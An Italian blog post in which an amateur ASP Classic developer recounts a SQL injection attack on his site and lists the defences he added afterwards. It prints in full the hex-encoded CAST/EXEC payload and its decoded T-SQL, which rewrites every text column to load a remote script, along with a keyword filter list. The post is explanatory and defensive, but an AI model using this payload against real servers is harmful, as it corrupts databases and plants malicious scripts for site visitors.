Impedire un attacco "SQL injection" con ASP Classico

Ci sono cascato come una pera cotta. Essendo un programmatore della domenica, sono stato massacrato da un simpatico attacco Sql Injection sul sito che avevo messo in produzione la settimana prima. Che cosa è un Sql Injection?

In pratica trattasi di codice malizioso inserito con grande fantasia nel querystring chiamante (o nei cookies, o in una chiamata form) una determinata pagina di un sito. Che requisiti deve avere la pagina affinchè lo script abbia la possibilità di funzionare? Analizziamo la casistica querystring (le altre casistiche sono analoghe).

- la pagina deve avere un parametro passato via qs. Ad esempio: mypage.asp?id=123123.
- il programmatore che l'ha sviluppata deve essere un novellino
- colui che lancia l'attacco deve essere un discreto stronzone

In pratica inserendo la porzione di codice in coda alla chiamata della pagina (mypage.asp?id=123123;[script malizioso]) se il programmatore della domenica è un novellino e NON effettua il parsing dei parametri ma, al contrario e per pigrizia, si limita a utilizzarli direttamente nelle chiamate DB tale script finirà inevitabilmente dentro la query passata al db. Se esso è scritto bene (o, meglio, scritto da stronzi veri) si potranno fare inimmaginabili danni al db stesso.

Esempio chiarificatore:

Lo script (apposto come querystring) è qualcosa del genere:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S)

Se esso viene eseguito all'interno di una chiamata DB in virtù dell'insipienza del programmatore che NON parsa i parametri, decodificando il comando CAST lo script eseguirà il seguente codice nel vostro DB:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''[script src="http://blablabla/0.js"][/script]

''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T varchar(255),@C

Come ben potete immaginare (per chi ha familiarità con SQL) esso andrà a scrivere la stringa '[script src="http://blablabla/0.js"][/script]'* all'interno dei campi testuale di tutte le tabelle del vostro db. In sè la stringa è inerte, di fatto vi polverizza il db perchè ogni valore diventerà più o meno inutilizzabile.

Ripristinato l'ultimo backup del DB e colmata la mia lacuna sugli attacchi Sql Injection ho adeguato il sito come segue:

- ho bannato dal mio webserver la famigerata sottorete da cui proveniva la chiamata (corrispondente al provider CHINANET della regione Chongqing, noto covo di proxy)
- ho introdotto in testa a tutte le pagine un filtro a tutte le chiamate querystring, cookie, form che altro non fa che individuare eventuali stringhe sintomo di potenziale attacco (DECLARE, EXEC, CAST) e ridirigendo il simpatico utente a una pagina dummy piuttosto incazzosa nel contenuto
- ho adeguato tutte le chiamate, facendo il parsing di ogni parametro che utilizzo (e, nella fattispecie, utilizzando solo parametri numerici imponendo la conversione a numero di qualunque parametro querystring, cookie, form e invalidando così qualunque testo che non sia un numero)
- ho introdotto un layer nel mio framework di chiamate a database che inibisce qualunque comando DECLARE e EXEC

In attesa che i più sprovveduti, come il sottoscritto, adeguino le proprie pagine (a volte può essere fastidioso perchè se avete centinaia di pagine con centinaia di chiamate che utilizzano centinaia di parametri non filtrati avrete un bel lavoro da compiere), vi lascio col link ad uno script intelligente (per utente IIS, asp) che, chiamato in testa ad ogni pagina, vi concederà il tempo per adeguare come si deve le vostre pagine:

http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx